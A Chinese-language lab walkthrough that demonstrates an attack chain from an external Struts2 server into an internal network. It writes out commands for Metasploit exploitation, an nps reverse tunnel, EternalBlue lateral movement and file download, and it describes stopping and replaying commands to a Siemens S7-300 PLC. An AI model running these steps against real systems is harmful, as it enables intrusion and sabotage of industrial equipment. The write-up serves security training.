【技術分享】工控攻防演示——從外網到內網控制系統設備的入侵
概述
1.實驗目的
通過工控攻防演示讓初學者學習web安全、內網滲透、工控安全相關知識技能
2.靶場信息
本實驗通過vmware 搭建了靶場的外網和內網環境,在內網環境中,可以連接到真實的PLC進行漏洞利用。
網絡拓撲如下:

該網絡環境中,有兩臺攻擊機處于模擬外網中,分別是一臺 windows7 主機和 kali 主機,通過這兩臺主機進行漏洞利用,獲取內網訪問權限,進一步獲取西門子PLC的控制權,從而控制城市沙盤。
演示過程
1.資產發現
登錄 kali 攻擊機,輸入 ifconfig 查看 ip 段,

接著對該網段C段進行端口掃描
nmap -Pn -n —open 192.168.14.0/24

發現192.168.14.10 開放了 80 和 8080 端口,用瀏覽器分別訪問這兩個端口


發現80端口存在一個網站,8080端口為tomcat的默認界面。
2.目錄掃描
使用kali 自帶的 dirbrute 工具來對8080端口進行目錄掃描

設置好字典,對 http://192.168.14.10:8080/ 點擊start進行目錄掃描

發現一個 test 目錄

訪問發現是struts2-showcase測試項目

3.Struts2 漏洞利用
出現struts2框架,可以嘗試利用struts2命令執行漏洞。輸入 msfconsole 打開 msf,如果第一次運行,可以先運行 msfdb init 來初始化 msf 數據庫

輸入 search struts2 來搜索 struts2 相關漏洞

加載struts2利用模塊
接下來在msf 設置目標信息并攻擊,其中 rhosts 為 struts2 網站的 ip,rport 為網站的端口,targeturi 為存在漏洞的地址。輸入 exploit 開始攻擊

可以看到成功獲取該struts2 網站的權限,返回了一個 meterpreter shell,輸入sysinfo可以看到這臺主機的ip為 192.168.90.10, 是linux系統,版本為 Ubuntu 16.04。
4.Nps 內網代理
由于已經獲取了位于內網的linux主機權限,可以通過這個meterpreter shell 來設置socks代理,這樣就可以msf中訪問內網中的其它主機和端口了。
先下載nps客戶端和服務端到kali攻擊機中
解壓安裝nps
./nps install
啟動nps
nps start

訪問本地Ip的8080 端口,鏈接為http://192.168.14.4:8080 可訪問nps管理后臺,輸入admin/123 登錄。點擊添加客戶端

然后在msf中上傳linux_amd64_client.tar.gz客戶端到內網linux主機的/tmp/目錄中。
upload /root/nps/linux_amd64_client.tar.gz /tmp/nps.tar.gz
在linux主機中執行解壓

回到nps后臺中,展開客戶端,復制客戶端命令

在msf meterpreter 中執行下面命令讓客戶端連上服務器
execute -f /tmp/npc -a ‘-server=192.168.14.4:8024 -vkey=0fr8k4rsh8tjl8ut -type=tcp’

在后臺管理處看到客戶端狀態是在線即成功連上nps服務器。

接著在后臺管理處添加一個socks代理,輸入剛才創建的客戶端id,端口為1086

此時可以通過本地的1086端口的socks代理訪問192.168.90.0 網段的主機。在msf中輸入下面命令設置socks代理。
setg proxies socks5:127.0.0.1:1086

5.永恒之藍橫向移動
設置好到進入192.168.90.0 網段的socks代理后,可以使用msf對該網段進行掃描,先掃描永恒之藍漏洞

發現 192.168.90.60 主機存在 ms17-010漏洞,接下來使用 ms17-010 漏洞利用模塊進行攻擊。由于使用了socks代理,設置反向連接payload時,要設置ReverseAllowProxy


成功獲取存在永恒之藍漏洞主機的權限。
6.信息收集-發現TIA項目
通過查看用戶的桌面,發現了Sand_V16目錄中存在ap16后綴名的文件。

這是西門子組態軟件 TIA Portal (博途)的項目文件,是用于對西門子可編程邏輯控制器(programmable logic controller,簡稱PLC)進行編程控制的軟件。
先下載該項目到本地,使用下面命令下載
download c:/users/admin/desktop/Sand_V16.zip

7.查看TIA項目
下載完項目后,復制出到一個 windows10系統中解壓。在本地電腦上裝一個TIA Portal V16,然后打開該項目,點擊項目視圖

可以看到該項目中有兩個PLC,一個是S7-300,一個是S7-1200。本演示中主要介紹S7-300

8.西門子S7-300遠程啟停漏洞利用
西門子S7-300是西門子的一款可編程邏輯控制器,可編程控制器由內部CPU,指令及資料存儲器、輸入輸出單元、電源模塊、數字模擬等單元所模塊化組合成。PLC可接收(輸入)經過CPU處理后,發送(輸出)多種類型的電氣或電子信號,并使用他們來控制或監督幾乎所有種類的機械與電氣系統。

西門子S7-300 存在遠程啟停,數據重放等漏洞,可以在不進行身份認證的情況下直接對PLC進行啟動、關閉和修改數據。
先獲取該S7-300的IP,在項目中展開S7-300,雙擊設備組態,在屬性中的以太網地址中查看IP地址,發現IP為192.168.30.60。

接著在獲取權限的windows內網機器上ping 192.168.30.60。發現可以ping通

S7-300的端口一般是102端口,先使用msf的端口轉發功能,把192.168.30.60 的102端口轉發到kali攻擊機上,方便訪問
portfwd add -l 102 -r 192.168.30.60 -p 102

使用 nmap掃描本地102端口,發現已經轉發成功了

接著在kali 攻擊機上下載 isf 攻擊工具,里面包含了s7-300的攻擊模塊,當然也可以使用其他腳本也行

運行完后,可以看到PLC進入了stop狀態,也就是PLC停止了。STOP狀態燈亮起

啟動plc
set command 1
run

下面是PLC控制的沙盤在PLC被關閉后的效果圖

直接關閉PLC,會導致正在運行的工業系統停止運行,從而導致嚴重的后果。可以想象一下正在運行的列車失去了控制是什么后果。
9.西門子S7-300重放攻擊
西門子S7-300 沒有防重放機制,只要使用wireshark等抓包工具獲取了某個功能的數據包,即可重放該數據。例如Q0.6是控制沙盤中信大廈通電的輸出,現在要對它單獨進行修改,而不影響其它輸出。可以在博途對Q0.6進行強制修改,然后抓取該數據包,進行重放即可。
在S7-300的強制表中點擊監控變量,輸入Q0.6,右鍵強制修改為0

使用wireshark抓取該數據包,發送的是S7COMM協議,該協議的詳細介紹網上比較多資料,這里只對要修改的地方進行介紹,下圖中 Force代表開啟強制修改,Address to force 為要修改的地址,圖中是Q0.6,其中Startaddress代表Q0.6的0, Bitposition 代表Q0.6的6。修改這兩個數據可以修改任意輸出,如Q1.1。其中的Value to force是要修改的值,在Data字段中為00,也就是要修改成0。

第一次開啟強制認證時,會在PLC中創建一個對象,并且返回該對象的引用ID,下圖中的Force請求響應中的Sequence number字段為4,代表創建的對象引用ID為4,后續修改強制表的時候會用到該ID。

繼續強制Q0.6的值為1,可以看到發送的請求變成了Replace job,也就是修改對象,其中的 reference sequence number 為4 ,也就是修改了前面 Force 請求中創建的對象。修改的地址也是Q0.6,值為1

然后右鍵點擊停止強制,發送了Delete job 請求,也就是刪除了該強制表對象
其中的 Job reference number 為4。刪除后,所有強制修改失效。

經過分析后,可以編寫一個python腳本來對PLC的值進行修改。在對應的協議數據中復制tcp payload為hexstream,然后進行相應的修改并重放即可實現對指定值的修改。

下面編寫一個模塊腳本來對PLC的輸出值進行強制修改
代碼中,在Force請求發送后,會記錄reference number 用于后續的修改

把腳本放在exploits/plcs/siemens/ 目錄中

通過下面命令來使用

發送前S7-300的Q0.6是通電的,中信大廈正常運行


發送后S7-300的Q0.6關閉,中信大廈關閉。


直接修改PLC的關鍵狀態,可能會導致嚴重的后果,如震網攻擊中通過改變離心機轉數來破壞伊朗的核設備。
總結
本次攻防演示中,通過模擬外網攻擊進入內網環境,對控制工業設備的PLC進行了攻擊。整體的攻擊過程為:外網web服務器-》內網西門子工程師站-》西門子S7-300 PLC。其主要目的是針對工控安全感興趣的愛好者學習,相互交流。